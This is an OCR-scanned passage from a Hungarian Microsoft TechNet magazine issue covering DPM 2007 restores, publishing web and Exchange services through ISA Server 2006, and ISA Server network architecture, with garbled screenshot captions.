ezelotti idépont is!), majd megadjuk, hogy
az eredeti helyére vagy valamilyen alternativ
helyre szeretnénk a visszatoltést, és mar me-
het is. Sét, az altaldnos beallitasokon keresz-
ttl engedélyezhetjiik a felhaszndlok szdméra
is a visszatoltést. Mieltt teljesen kétségbe es-
nénk a lehetéség hallatan: a felhasznalok az
XP-bol és a Vistabdl ismert ,El6z6 verziok”
funkcio hasznalataval végezhetik a visszatol-
tést, a kiszolgdld kozelébe tovdbbra sem en-
gedjitk 6ket. Egyszertien a DPM-tigyndk fog
kozvetitdoként mikodni, és az fogja felajanla-
ni a DPM-kiszolgdlon megtaldlhaté mentése-
ket a felhasznalo szamara.

Ha a visszaallitashoz csak részleges infor-
macidink vannak, akkor a keresés funkcio
is rendelkezéstinkre 4ll, igy pontatlan elérési
utak vagy fjlnevek esetén is van esélyiink
megtaldlni az igényelt adatokat.

Az alkalmazisok visszatoltése mar valami-
vel bonyolultabb, hiszen Exchange esetében
példaul beszélhetiink teljes Storage Group,
adatbazis vagy postafiok visszatoltésérol. Az
elsé két esetben dolgozhatunk kozvetleniil az
eredeti helyre, a visszatsltés végeztével az adat-
bézisok automatikusan elindulnak, sét ha a

Hasznos olvasni- és néznivalok
a DPM 2007-rél:

A Data Protection Manager 2007 honlapija:
http;//www.microsoft.comy/systemcenter/dpm/
default.mspx

DPM 2007 technikai referencia a TechCenteren:
http;//technet.microsoft.comy/en-us/library/
bb795539.aspx

DPM 2007-tel kapcsolatos webcastok (angol
nyelven):
http;//www.microsoft.comy/events/series/fech-
netmms.aspx?tab=webcasts&id=42555#42555

NOVEMBER-DECEMBER

Specify the network, bandwidth uzage throttle setting for the zelected protected computer.
Thiz zetting appliez for both protection and recoven.

Enzure that ‘005 Packet Scheduler' iz installed in the local area connection properties of
both protected and DPM zerver. The QoS Packet Scheduler iz not autormatically installed
with "indows Server 2003, For details, refer to Help.

¥ Enable network bandwidth uzage thrattling

— Settings

On non-wark. dayz the throtting will be az per non-work. hours for whole day.

Wwfark hours: I

12824 [kbps 7]

948 to EPM

M on-wark, hours: I

3399 = |Mbps =)

EPM to 3AM

—Work Schedule

Wwhark hours uge the local time zone of the protected computer.

Wwoork days: W Sunday
v Wwiednesday

¥ s aturday

work hours: [94M | to [EPM )

I P onday
v Thurzday

v Tuesday
¥ Friday

Cancel

6. dbra. A hélézathaszndlat finomhangoldsa

tranzakcios logjaink nem sériiltek meg, akkor
adatvesztés sem lesz. Ha csak egy postafidkot
kell visszadllitanunk, akkor nem keriilhetjitk
el a Recovery Storage Group hasznilatit az
Exchange-ben, cserébe viszont a DPM rugal-
masan egylttmiikodik az Exchange Toolbox
eszkozeivel, ezzel is egyszertsitve a folyamatot.

SQL-adatbdzisokndl is van lehetéségiink
az eredeti helyre vagy alternativ mappaba tor-
ténd helyredllitasra, sét ha hordoznunk kell
az adatokat, akkor akdr szalagra is torténhet
a visszatoltés. A tranzakcios rendszernek ko-
szdnhetden itt is lehetséges a veszteségmen-

tes visszaallitds.

Integracio a Microsoft feligyeleti
eszkozeivel

Erdemes még megemliteni, hogy a Data
Protection Manager az tigynok telepitésekor
automatikusan felismeri a furtdzott kiszolga-
lokat, és minden tagra telepiti a sziikséges
tgynokot. Hiba esetén az adatok mentését
automatikusan a mésik node tigynoke foly-
tatja. Exchange 2007 esetében az tigynokok
felismerik a Cluster Continuous Replication
konfiguraciot, és a passziv node-ot hasznalva

végzik a mentést, de nem jonnek zavarba az

egyéb magas rendelkezésre alldsu konfigura-
cioktol (LCR, SCR) sem.

A DPM Management Shellben minden
funkciot megtalalunk, amit a grafikus feli-
leten, és vannak olyan kiilonleges lehetésé-
gek is, amelyekre csak itt talalunk megoldast.
Ha a mentéseket erre a célra elkiilonitett
alhdlozaton szeretnénk elvégezni, akkor a
Management Shellen keresztiil ezt is konfi-
guralhatjuk, tehermentesitve a felhaszndloi
hélozatot.

A mentési rendszer feliigyeletét tobb szalon
végezhetjiik: a feliigyeleti konzol Monitoring
szekcidjaban lathatjuk az aktudlis feladatokat
és azok dllapotit. A Reporting szekcioban 6
elére definialt jelentést kérhettink le vagy id6-
zithettink. A jelentések késziilhetnek HTML,
Excel vagy PDF formatumban, és akar mellék-
letként is elkiildhetjiik ket a mentéssel foglal-
kozé kolléganak vagy csoportnak. A System
Center Operations Manager (vagy System
Center Essentials) hasznaloi pedig a megfeleld
feliigyeleti csomag telepitésével integralhatjak
a DPM teljes feltigyeletét meglévo rendszeriik
be, igy mindent egy helyrol érhetnek el.

Somogyi Csaba

(csaba.somogyi@microsoft.com) Microsoft Magyarorszdg
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AZ EZERARCU
PUBLIKALAS
— |l. RESZ

Az el8z8 részben megvizsgdltuk éltaldban
a publikalés témakorét, a kapcsoldédd
fogalmakat és az alapgyakorlatokat,

most viszont egy kissé mélyebbre merilionk

a témdban.

csolatos fontos, illetve érdekes bedllitdsokat néziink meg, aztdn viszont rahangolo-

O tt folytatjuk, ahol abbahagytuk: kezdésként tovébbi, a webszerver-publikélassal kap-

dunk az Exchange-, valamint az ISA-kiszolgalok egytittmiikodésére.

Bridging
Az érdekesebbeket kiemelve a Bridging fiil lesz az elsd, ahol a web-, illetve egyuttal az FTP-szer-
ver portatiranyitasi lehetdségei taldlhatok. Itt akkor fogunk stirtin jarni, ha torténetesen az
[SA-kiszolgalon helyeztiik el a webszervert is - ami nem a legbiztonsagosabb forgatokonyv, de
példaul egyetlen szerver esetén nincs tul sok valasztasi lehetdség.

Ebben az esetben te-

hat a webszerver szeret Pub: OWA Properties

2] ]
Link Translation

né magiaénak tudni a ha-
| Schedde |

ication Delegation Application Settings
Gmdlmlrmm | To | Traffic | Listener | Public Name | Paths

i

Ismétlés gyanant: a kiilonbizo fileken a webszerver-publikalds finomhangoldsi
lehetéségei érhetdk el

gyomanyos http-portot,
de errél a szandékdrol az
ISA villamgyorsan le fog-
ja beszélni. Mukods 1IS

esetén a varhaté konflik-

tusra mdr a telepitd is fi-

gyelmeztet, mert az ISA-
nak kerek-perec, ohatatla-
nul sziiksége van a 80-as
portra. Teljesen logikus, hogy miért, a kiils6 (de a belso) tigyfeleknek is az ISA kell, hogy le-
gyen az egyes szamu kapcsolat, ezért a 80-as porton az ISA listenerjének (lasd az eléz6 cikket)

kell figyelnie, hogy aztdn mar tovabbadhassa a kéréséket és valaszokat a webszerver, illetve az

tgyfél felé. A megoldds nem a kissé nehéz-
kes http://www.ceg.hu:8181 formula - azaz
egy alternativ port hasznalata -, hanem az
atirdnyitas.

Az tgyfél bongészoje a 80-as porton ko-
zelit, az ISA elkapja, és a Bridging fiilon be-
allitott tetszoleges portra tovabbitja a kérést.
Ehhez mar csak a webszerver megfelel6 tu-
lajdonsdgainal kell ugyanezt a portot beal-
litani. Természetesen, ha nincs webszerver
az [SA-szerveren, akkor erre nincs sziikség,
mert ekkor egy masik gép, a bels6 szerver
80-as portjat hasznaljuk, nem zavarva az [SA
listenerjét.

To

Rovid és vels neve van ennek a ftilnek, nem
is sejtetve, hogy egészen fontos dolgok rejtdz-
nek mogotte. Itt kotelezben meg kell adnunk
a publikélt webhely nevét, esetleg alatta a bel-

s6 nevét vagy IP-cimét (ha nem egyezd). Ha

Pub: Web_publishing Properties

i I""' i ‘!-D'nru
Bidgng | Users |  Schedue |  Link Translation
General | Action | Fram  To | Traffic| Listener | PublicName | Paths
This rue apples to this published ste:

Iwww, cegeszerver.hu

Mn&n:mlPad&m[rmsdfhmwshnmnMu
hot resolvable)

Iwebsrv-m

B
IV Foward the original host header instead of the actual one (specified in
the Intemal site name field]
Help about host headers
~ Proxy requests to published site
Specify how the firewall proxies requests to the published server:

& Requests appear to come from the ISA Server computer

" Requests appear to come from the original client

Help about request forwarding

ok | cence | sepy |

Hérom lényeges dolog is helyet kapott ezen a panelen

SSL-t hasznalunk, ez csak olyan név lehet,
amely a tanusitvanyon is szerepel, mas ese-
tekben viszont elképzelhetd hogy az ISA nem
tudja feloldani az adott nevet, ezért kell a ma-
sodik mez6 példaul az IP-cimmel.

A ,Forward the original host header in-
stead of the actual one” opcié példaul az
OWA publikaldsndl hasznos, annyira, hogy
az Exchange publikalévarazsloja automatiku-
san be is kattintja. Ennél a pontnil az a kér-
dés, hogy az ISA tovabbitsa-e a kiilsé kliens-
t6l kapott host header-informaciot vagy in-
kabb kicserélje? Alapértelmezésben kicseréli

a mar emlitett masodik mezé tartalméra,

Microsoft TechNet
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mert ez a biztos megoldas, viszont nem feltét-
lentil jo nekiink. Ha egy IP-vel tobb webhe-
lyet akarunk publikalni - a webszerver host
header opcidjara épitve ezt a tervet -, akkor
igy szép nagy 404-es valasz lesz az eredmény.
Ekkor tehat kapcsoljuk

be ezt a lehetdséget.

A kovetkezd

(Proxy requests to pub-

opcid Select Services

New Mail Server Publishing Rule Wizard B

Select the services that you are publishing on this mail server.

glink arra, hogy az [SA legyen az alapértelme-
zett atjard (azaz valamilyen okbol nem lehet
SNATKkliens a belsé webszerver), hiszen ek-
kor a webszerver és az ISA kozotti kapcsolat

enélkil is toretlen lesz.

lished site) viszonta szimp-
Client Access:

e

allas szerint a belsé web- IV por3
{standard port)

la webszerverek esetén is

él és szamit. Az alapfel-

szerver minden kiviilrol
I Map4
(standard port)

v smIp
(standard part)

érkezd kérés esetén csak
a kozvetitd felet, az ISA-t
latja (mivel a fejlécben az
ISA kicseréli a forras-IP-t),

azaz gyakorlatilag csak az

¥ PoP3
(secure port)

™ 1mMap4
(secure port)

[V | stTP
(secure port)

ISA bels6 halozati kartya-

janak IP-cimével szembe-

< Back I Rext > I

Cancel |

stl. Ez egyszertivé teszi a
webszerver valaszat, hi- szabad haszndlni)

szen a cim ismerds alha-

A klasszikus protokollok kivélasztdsa (az Outlook RPC is az, de VPN nélkiil nem

lozaton van, benne van a
i 11, . Select Services
routing-tabldban, kozvet

leniil elérhetd, osszesen

New Exchange Publishing Rule Wizard ' X|

Select the services that you are publishing on this mail server.

annyi dolga van, hogy egy
ARPkérést kiild, és ha

megjon a vilasz, mehet

Exchange version:

a forgalom. Ha viszont
az dbran is lathaté also
opciot vélasztjuk, akkor
annyi a kiilénbség, hogy
a webszerver egy idegen
[Pvel talalkozik, amely-
r6l nem lesz informéicio
a routing-tibldban, ezért
az ARP-kérést az alapér-

Web client mail services:
™ outlook Web Access
IV outlook RPCJHTTR(s)

I | putiish additiorial Feldersionthe Exchange serveror GUHEok 2007 Cients

™ Outlook Mobile Access
™ Exchange ActiveSync

Exchange Server 2003

Exchange Server 2000
Exchange Server 5.5

telmezett atjaronak kiildi

el, igy oldva meg a prob-

<§adc|l!ext>|

Cancel |

lémét. Mivel altalaban az
ISA belsé ,ldba” az alap-

értelmezett atjard (ebben

Access)

az esetben musz4j is, hogy az legyen), megjon
a vilasz, és indul a forgalom. Ha valaki ezt
mar harmadszor is elolvasta, biztosan azt fog-
ja kérdezni, hogy minek bonyolitani a dolgot
az alsé opcidval? Van értelme, ha mas nem,
az, hogy az [IS-naploba nem egyetlen IP-cim
kertil be (az ISA belso ldba), és vezeti majd a
naplobol képzett statisztikdt toronymagasan,
hanem a valodi kliensek cimei. Az elsé opcid

viszont akkor kotelezd, ha nincs lehetdsé-

NOVEMBER-DECEMBER

Ami szem-szdjnak ingere, az ift mind megvan (Publish Exchange Web Clients

Ezzel az szimpla és/vagy SSL-webhelyek
publikdlasdnak részletein tul vagyunk, a ko-
vetkezékben nézzitk meg a tovdbbi - és akar
specialisnak is tekinthetd - publikélasi lehe-
toségeket.

Az Exchange Server publikdldsa

Ez a témakor hatalmas. Elsésorban azért,

mert rengetegféle forgatokonyvben hasznal-

hatjuk kiviilrél is az Exchange-szerver szol-

géltatdsait, masrészt azért, mert az ¢sidok ota
nagyon szoros kapcsolat van e két nagy ki-
szolgdlokomponens kozott. Ha a publikélast
tekintjitk (egyelére elsésorban az Exchange
2003 és az ISA 2006 parosara fokuszilva),
akkor nagyjabol két eltérd tertiletre oszthat-
juk fel az egytittmiikodést (persze nem egyen-
16 részben):
= klasszikus  e-mail-protokollok
SMTP, IMAP);
= webes kliensek (OWA, OMA, ActiveSync,
Secure RPC, RPC over HTTPS).

(POP3,

Klasszikus e-mail-protokollok
publikdldasa

Ez a legegyszeriibb forgatdokonyv, a legkeve-
sebb komforttal és innovacioval - de a leg-
kevesebb munkaval is. Vegyiink egy szolid,
egyszer(i kornyezetet alapul, egyelore DMZ
és minden maés extra nélkil, az egyetlen
Exchange-szerveriink a bels¢ hdlozatban
SNATkliensként tengeti hétkdznapjait, és
az egyéb mikodési feltételeket (példaul az A,
MX, PTR, esetleg az SPF rekordot) mar meg-
teremtettitk. Ezek utan az ISA MMC-ben a
tlzfalszabdlyokra kattintva a jobb oldali ke-
retbél a Publish Mail Servers vardzslot kell
elinditanunk, majd ezutan johet a megfelel
protokollok kivalasztiasa (két korben, mert
az SMTP és az NNTP kiilon van vélasztva),
aztdn az Exchangekiszolgald megnevezése,
végiil annak a halézatnak a kijelslése, ahol a
szabaly dolgozni fog, és gyakorlatilag készen
is vagyunk.

Az ISA automatikusan elkésziti a szitksé-
ges tlzfalszabdlyokat - pont annyit, ameny-
nyi protokollt kijelsltiink -, és mikodik. Ha
lehetséges, ne kapcsoljuk ki a passzolo alkal-
mazasfiltereket (POP3, SMTP, lasd e szam
masik ISA-cikkét), de més okossdggal nem
nagyon szolgalhatunk, mert nincs is, ez ilyen

egyszer(.

Webes kliensek

Itt mar webszerver-publikaldsrol van szo, és
nem is akarmilyenrol. A kliensek tipusa alap-
jan tjabb harom csoportra oszthatjuk tovabb
a publikaloszabalyokat. Sz eshet egyrészt a
PDA-k, Smartphone-ok és egyéb kiityiik cso-
portjara vonatkozo szabélyokrol, masrészt az
Outlook Web Accesst érintd publikalasrol.
A harmadik korben az asztali Outlookot
érint lehetdségekrol kell beszélniink, azaz a

mar szerencsére kissé héattérbe szorult Secure
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RPC-16], illetve a maximdlisan ajanlott RPC
over HTTP/Sr6l. Az ISA 2006-tal gyakorla-
tilag egyetlen publikaloszabdllyal és egyetlen
listenerrel tokéletesen lefedhetjiik az els¢ ha-

rom hozziférést. A listenerben ilyenkor ra-

Connections
Forms

General | Metworks
Authentication

I —————————
External IP FBA Properties 7| x|

Az RPC over HTTP/S esetén viszont ez a
fajta klienshitelesitési metodus csak részben
lesz tokéletes, mivel az tirlap egy Outlook ese-
tén értelmezhetetlen, viszont ha mégis ezt az
utat vilasztjuk, akkor az ISA 2006 automa-
tikusan valt a Basichitele-
sitésre, ami mar megoldas-
R nak szamit.

550

]

i~ Form Customization
™ Use customized HTML forms instead of the default

members):

Type the custom HTML form set directory (must exist on all array

ElGrelépés
Egyébként kicsit el6resza-
ladtunk, mivel a vardzslo-

ban el6szdr még a webszer-

Display the HTML Form in this language:

ver tipusit kell megadnunk

(egyszerti webszerver, load

IMatch user browser settings

|

balancer vagy farm), majd

pedig el kell dénteniink,

~Password Management
¥ allow users to change their passwords
¥ Remind users that their password will expire in this
number of days:

hogy hasznilunke kote-
lezéen titkositast (SSL) a

webszerver elérésére, ami

15

Help about form preferences

nyilvin erésen megfonto-
landé minden Exchange-
elérés esetén. Az SSL alkal-
mazisara az ISA és a belso

webszerver kozott kétfajta,

OK Cancel

manualis valaszthaté mod-

o |

Apply

szertink volt az ISA 2004-

Az Grlap alapd hitelesitésnél lehetséges a jelszévdltoztatds, illetve az erre

vonatkozo figyelmeztetés engedélyezése

adasul megtehetjiik, hogy az trlap alapu hite-
lesitést valasztjuk.

Az Grlap alapu hitelesités egy nagyon sok-
rétd, sok extrat felvonultatd modszer, amely-
lyel kapcsolatban raadasul az ISA 2006-ban
szamos pozitiv vdltozds is tortént.

Hasznélhatjuk immar multifaktoros hite-
lesitésre, kontrollalhatjuk a csatoliasok hasz-
nalatit, felajanlhatunk a felhasznaloknak
kétféle megjelenitést, alkalmazhato az SSO,
és beépithetd egy biztonsigos jelszovaltozta-
tasi lehetéség. A mobilklienseknél kiilondsen
jol johet, hogy teljesen testre szabhatjuk a fe-
luletet, és ezt teljesen automatikusan a fejléc
tartalmatol fiiggden kaphatjak meg a kijelzo-
re. Kierészakolhatunk a bongészo beallitasai-
tol fuggetlen nyelvi tamogatast (25-féle nyelv-
bol vilasztva), a cookie-kkal kapcsolatban is
kapunk jo pér lehet6séget, és ha bevallaljuk,
akdr gyorsitotarazhatjuk is a jelszavakat.

Az Grlap alapu hitelesités tehdt béatran
ajanlhato, a tovabbi részletekért pedig tekint
stik meg egy el6z6 TechNet Magazin cikkét:
http://tinyurl.com/2jhvy;.

ben (tunneling és bridging,
azaz szimpla tovabbitas el-
lenorzés nélkil, illetve a
yszliréses” modszer), és nem maradt egy sem
az ISA 2006-ban, de ez kivételesen eldrelé-

pésnek szamit. Tudniillik ennek az opcionak

Server Connection Security

server or server farm,

New Exchange Publishing Rule Wizard x|

Choose the type of connections I5A Server will establish with the published Web

a beallitasa automatikussd vélt, és minden
esetben - tehat az OWA-val is - miikodik a
sztirés, ha kérjiik a tikositdst (és igazan szép
a dologban, hogy az ISA 2006 + Exchange
2003 SP2 esetén ez az ActiveSynckel is mu-
kodik, tantsitvany alapu hitelesitéssel).

Az SSL-sz(irés megértéséhez tudnunk kell,
hogy e magazin masik [SA-cikkében emlitett,
remekil hasznalhato http-filter a HTTPS-
forgalomban teljesen hatastalan. Persze ez
érthetd is, a HTTPS-nek tobbek kozott pon-
tosan az érinthetetlenség a lényege. Ellenben
az ISA Server segitségével mégiscsak sikeriil
bevonni ezt a forgalmat a http-filter hatoko-

rébe, némi tritkkel.

Ellendrzott csomagok

A lényeg az, hogy a tavoli tgyféltsl beérkezd
forgalombol az ISA termindlja az SSL-kap-
csolatot, és ,visszafejti” a titkositdst. Ezutan
a httpfilter ,4tszalad” az adott csomagon,
azaz részletesen ellendrzi. Ha kész, akkor két
modszer marad: vagy tovdbbitja a belsé web-
szervernek a normal http-csomagokat, vagy
el6szor ujra ,hozzaragasztja” a tanusitvanyt
(ez a publikaloszabaly porttovabbitasi bedlli-
tasain mulik).

Ha a webszerver feldolgozza a kérést, visz-
szakiildi az ISA-nak, amely tjra ellendrzi a
csomagot, és ha szitkséges, megint csak visz-
szafejti, és Ujra titkositja. Ha minden rend-

ben van most is, akkor mehet a csomag a ta-

voli kliens fel¢ (természetesen anélkiil, hogy
a tavoli kliens ebb6l barmit

észlelne).

Nos, ezek utan térjiink

vissza a ,,Publish Exchange

« %:i;gvﬂbomnnerxwthswbﬁshsd\ﬁebmurﬁws@

154 Server will connect to the published ‘Web server or
server farm using HTTPS (recommended).

€ Use non-secured connections to connect the published
Web server or server farm

154 Server will connect to the published Web server or
server farm using HTTP.

1

Help about server connection security

Fe

Py Egr

htipi//

‘When publishing over S5L, an appropriately named SSL server certificate must be
installed on the published server, or on each server in the server farm.

Web Clients Access” va-
razslora, de mar csak azért,

[l

https:#/

!

hogy megéllapitsuk: innen-
t6l nincs 4j opcid, minden
a normal (az eléz6 részben

ismertetett) webszerver-

publikalashoz
megy végbe.

hasonléan
Egy kovetkezd szdm-
ban még visszatériink a
Sharepoint Portal Server,
illetve az egyéb, nem web-
szerver-publikilas modsze-

<gack [ mext> | cancel |

reinek ismertetésével.

Gal Tamads

a legjobb médszert

Az ISA 2006-ban vélasszuk az SSL-t, és megkapjuk vele automatikusan

(v-tagal@microsoft.com)
Microsoft Magyarorszdg

Microsoft TechNet
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Az ISA SERVER
ARCHITEKTURAJANAK
RESZEI

Az ISA Server kicsit ,sotét [6”: bonyolult és taldn nehéz is mélyebben

megismerni, réaddsul specidlisan érzékeny és veszélyes az

a tertlet, ahol alkalmazzuk. De ki ne szeretne benézni egy kicsit

a motorhdztetd ald?

fentiek miatt e cikk keretein beliil megprobaljuk kicsit megvilagitani az ISA Server
2004/2006 két, a legfontosabbak kozé tartozo szerkezeti alapelemét, a halézatokat, il-

letve a killonbozo sziirési modszereket.

A hdlézatok

Az ISA Server 2004 egyik legnagyobb és legfontosabb valtozasa az tigynevezett multi-network-
ing bevezetése volt (nem-nem, nincs koze a piramisjétékhoz). Ez azt jelenti, hogy akdrmennyi
(logikai) halozatot létrehozhatunk, és azt is, hogy nincsenek elére beallitott, megkiilonbozte-
tett halozatok. Igazi, jolfésiilt demokracia van, minden halozat egyenld, egészen addig, amig

el nem kezdjiik mi magunk

a megkilonboztetést. Aki
kattintgatott valaha mar
egy ISAMMC-ben, az most

valészintileg mér inditja is

Networks Y tetwork sets X Network Rules XY Web Chairing

Name | Desciiption

| Address Rianges

@ Extemal

Builtin network obisct representing t

1 IP addiesses extenal to the 154 Seiver netwaorks.

| Estemal2

7 90.89.09.88

. Intemal Netwark representing the intemal net

= 10.000-1000.25510.01.1-10.01.255

= Intemal32768

192.168.0.50 - 192.168.0.75

. Loal Host Builtin network obisct representing t.. 1 Mo IP addresses are associated with this netwark

az Outlookot, hogy rekla-

=t Masikntemal 10.0.21-10.0.2.255

malé e-mailt irjon nekem

4. Quarantined VPN Clients Builtin dynamic netuwork represenéin... 1 No IP addresses are currently assigned to this netwark,

e cikk otodik soraban sze- £ WP Clierts Builtin dynamic ritwark abjsct repre.. 71 No IP addresses are cuently assigned to this network,

repld tévedésrol, tgyhogy

pontositsunk: vannak elé- 1. dbra. A hdlozatok létrehozdsandl a hatdr a csillagos ég
redefinialt halozatok (lel-
tar szerint 5 darab), de példaul a gyari Internal (belsé) hélozat - ha akarjuk - a fiiggdség, a
kapcsolatok vagy a mtikodés alapjan semmivel sem lesz ala- vagy folérendeltebb, mint az lta-
lunk felvett MasikInternal halozat, vagy az Internal3, vagy ha imadjuk a kettes szimrendszert:
az Internal32768.

A fenti képen nemcsak az extra nevi uj halozatok, hanem a gyariak is szépen ldtszanak, az
az 6t darab, amelyet mér emlitettiink. Abécésorrendben ezek a kévetkezok:

External. Az alapértelmezett kiils6 hdlozat, amely taldn a legkevésbé kézzelfoghato a ha-
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lozatok kozott, és amely példaul - az Ssszes
tobbi hdlozattal szemben - nem tagja az All
Protected Networks csoportositdsnak sem,
valamint nincs és nem is lehet IP-tartoma-
nya. Gyakorlatilag az a hélozat tekinthetd a
legtsbb esetben az internetnek. Erdekes vi-
szont belegondolni abba, hogy egy szingli,
egy hdlozati kdrtyas forgatokényvben mi az
ISA viszonya ehhez a hdldzathoz (ne gondol-
kodjunk sokat, ilyenkor nem lesz semmilyen
szerepe, egyetlen Internal halozatnak muszdj
lennie, igyhogy az lesz az erdsebb).

Internal. ,A” bels¢ halozat, és bar a tele-
pités sordn ki kell jelolntink a részére egy IP-
tartoméanyt (ami persze szabadon véltoztatha-
t6), az eddigiek értelmében mas kilonleges
tulajdonsiga nincs.

Local Host. Ez viszont, akarhogyan is
nézziik, extra dolog, mivel egy olyan halo-
zat, amelynek Osszesen egy tagja van, maga
az [SA-kiszolgald. Nem lehet béviteni, nincs
[P-tartomanymegaddsi lehet6ség (nincs is ér-
telme, az dsszes IP, amit az ISA birtokol, bele-
kertil automatikusan). Remek otlet volt még
az ISA 2004-ben ennek a megoldasnak a be-
vezetése, hiszen igy sokkal egyszertibbé vilt

az ISA-szervergép hasznilata. Ha barmilyen
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engedélyezd vagy éppen tiltd tiizfalszabaly-
ban sziikség van r4, vagy ha csak az ISA-port,
illetve -protokoll hozzaférésének a biztosits-
sit nézzitk, mar akkor is megérte.

VPN Clients. Egészen egyértelm@i mar a
név alapjan is, hogy mit takar, de miel6tt egy
legyintéssel elfogadjuk azt, hogy - szintén az
ISA 2004 6ta - van ilyen lehetdségiink, gon-
doljunk bele, mennyire kényelmes dolog ez.
Semmit sem kell konfigurdlnunk, mégis egy
helyen lesz az ¢sszes VPN-kliens, azaz akar
egyetlen tiizfalszaballyal képesek lesztink pél-
déul a protokollok vagy bizonyos webhelyek
apropojan korldtozni az dsszes VPN-ezd kol-
légat!

Quarantined VPN Clients. Ha a belso,
védett halozatainkat egy meleg, tiagas és ké-
nyelmes lakasnak képzeljiik el, akkor ez a ha-
lozat a hiivos, szeles udvarajtd, ahol a cukor-
sparga-kerités mogott a harci kutyak ugrasra
készen dllnak. Ebben a hilozatban hosszasan
varakozni vagy innen (nem 6nszantunkbol
am!) visszafordulni nem kellemes dolog, de
barkivel el6fordulhat. A magyarazat: az [SA
részeként mitkodo specidlis VPN-karantén-
szolgaltatas megakadalyozhatja a VPN-klien-
seket a védett (belsd) halozatok elérésében.
Ha mikodik a karantén, akkor egészen ad-
dig, amig egyértelmiien ki nem dertl egy
VPN-kliensrél, hogy megfelel az elvardsaink-
nak (példaul be van-e kapcsolva a ttizfal, fute
a virusirto stb.), addig itt varakozik.

Az onfeledt és kényelmes ISA-kezelés miatt
a hdlozatokat akdr csoportosithatjuk is, majd
a csoportokat megtekinthetjitk a Network
Sets ful alatt (az elsé képen a masodik fiil).
Ahogy mér sz6 volt réla, a telepités soran lét-
rejon egy All Protected Networks csoport,
amelynek az 6tbdl négy gyari halozat tagja,
de van egy masik is, az All Networks (and
Local Host) nevezetti, értelemszerti tagsaggal.
Persze, magunk is hozhatunk létre tetszéleges
szamban csoportokat, e cikk szerzdje a mai
napig is szimpatizdl egy Internal Network
Set néven illetett csoporttal, amelybe a sima
VPN mellett a Local Host és az Internal ha-
lozat szokott belekertilni. Ezek utan példaul a
tlzfalszabdlyokba lényegesen egyszer(ibb lesz
majd belefoglalni az adott halozatokat.

Nos, a fenti felsorolas utdn logikus lehet
a kérdés: miért akarnank tovabbi, j halo-
zatokat létrehozni? Tobb ok is felmeriilhet,
példaul mert valoban létezik plusz egy vagy
akar tobb fizikai halozatunk, vagy mert a bel-

s6 (fizikai) halozatunk egyes részeit el szeret
nénk vélasztani egymastol, vagy mert néhany
paramétert mashogyan akarunk beallitani az
adott hilozat tulajdonsagainal, vagy akar az
is eléfordulhat, hogy tobb External (kiilsé)

hélozatot szeretnénk generdlni stb.

kell majd ,kétntink” az ISA-ban, azaz meg
kell hataroznunk a kapcsolatukat (els¢ abra,
harmadik fiil, Network Rules). Barmilyen
két halozat kozott dsszesen kétfajta kapcsolat
lehetséges az [SA-n keresztiil, az egyik a csont

nélkiili routolds, a masik a sorozatos hazugsa-

[ vetworks Y Network Sets Y fistwork Bules ¥ Web Chaining Y

| Mame | Relation

Order

| Source Metworks

| Destination Netwo... | Description

Local Host Access Route

ali1

=4 Local Host

<% Al Networks (an...

VPN Clients to Internal Me... Route

EI allz

=% Quarantined VPN Clients - Internal
) VPN Clients

= L-‘JIJ 3 Internet Access

=4 Internal
=4 Quarantined VPN Clients
123 VPN Clients

@ External

2. Gbra. A hélozatok kazotti kapcsolat kétféle lehet

A kovetkezd logikus kérdés: hogyan lesz-
nek egyenértékiiek ezek az uj halézatok pél-
déul egy meglévd Internal halézattal? Ugy,
hogy az Osszes tulajdonsigukat egyforman
tudjuk konfiguralni. Egy-egy halozatnak
ugyanis rengeteg bedllithatd paramétere van,
az alabbi képen csupan a gyéri Internal ha-

lozat webproxy-opcidit lehet megtekinteni,

Intemal Properties

Addresses I Domains |
Firewall Client

General I
Auto Discovery I

IV Enable Web Proxy dient connections for this network:

Web Browser |
Web Proxy

gok viszonya, a NAT, azaz a hélozati cimfor-
ditas. Ha benéziink a Network Rules fiil ala,
akkor egyuttal azt is lathatjuk, hogy a gyari
halézatokhoz mar készen allnak a kiilonbozo
kapcsolatok is.

A routolas alkalmazdsara tipikusan ak-
kor szokott sor keriilni, ha két publikus,
vagy két privat IP-cimmel rendelkezé haloza-

tot szeretnénk kapcsolatba hoz-

2] ni. Ilyenkor nincs extra szerepe
az ISA-kiszolgalonak (ami persze
nem azt jelenti, hogy nem vizs-

gilja a forgalmat), gyakorlatilag

~HTTP
¥ Enable HTTP

HTTP port:

I 3080

automatikusan kétirdanyu forga-
lom jon létre az adott halézatok

kozott. Jo példa erre a belsd és

—saL
[ Enable 551

= e 3443

Setver Gethhicates) .

a VPN-halozat kozotti kapesolat,
amelyet a gyari szabalyok kozott

is észrevehetiink.

Configure allowed authentication methods:

Configure advanced properties:

Ha viszont egy privat és egy
publikus halozat 6sszekotését, az-
az példaul a belsé vagy a VPN-ha-
l6zat(ok) internetelérését szeret
nénk megvaldsitani, akkor nyil-
van nem kertilheté ki a cimfor-
ditds, ami viszont nem szimpla

kétirdanyd kapcsolat, és hasznd-

o1

cancel |

lata soran - a cimforditas elvei-

nek megfeleléen - az ISA Server

3. dbra. A gydri Internal hdlézat bedllitdsi lehetéségei

de még azokat sem teljesen, mert tovabbi
inyencségeket taldlhatunk példaul az Authen-
tication gomb mogott is.

Ha viszont mar rendelkeziink par halézat

tal, akkor ezek egy részét valoszintleg dssze

mindkét oldalnak kiméletleniil

hazudja majd, hogy 6 a masik ol-

dal. Erre példéanak a 2. dbran lathato, a két
VPN-halézat plusz az Internal halozat, illet-
ve az External kozotti viszony hozhato fel.
Két igen fontos kortilményt még ki kell

emelni a témakoér kapesan. Elsoként azt,

Microsoft TechNet
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hogy ha mar létrehoztunk két halozatot, és
a kapcsolatuk viszonyat is meghataroztuk (itt
most mindegy, hogy melyiket), az még abszo-
lut nem azt jelenti, hogy engedélyeztiik is ko-
zottiik a forgalmat. Amig legaldbb egyetlen
agrolszakadt tizfalszabalyt nem gyartunk le
a két halozat vonatkozasaban, addig nem lat-
jak ,egymdst”, azaz ezzel még mindig csak az
eldszobaban vagyunk, szo sincs tévézésrol a
nappaliban.

Meg kell emliteni még az ISA hildzatkeze-
lésének apropdjan, hogy egy ISA-kliens (akar
egy masik szerver, akdr egy kliens) hogyan
kertil be az adott halézatba, és hogyan keriil
ki adott esetben beldle. A valasz pozitiv: telje-
sen automatikusan, nincs sziikség semmilyen
manudlis tevékenységre. Egy LAN esetén pél-
déul az IP-cime szdmit majd, mig egy VPN
tipust kapcsolatndl a kapcsolodas metddusa
a donté.

A halézatok témakorének zardsa alkalma-
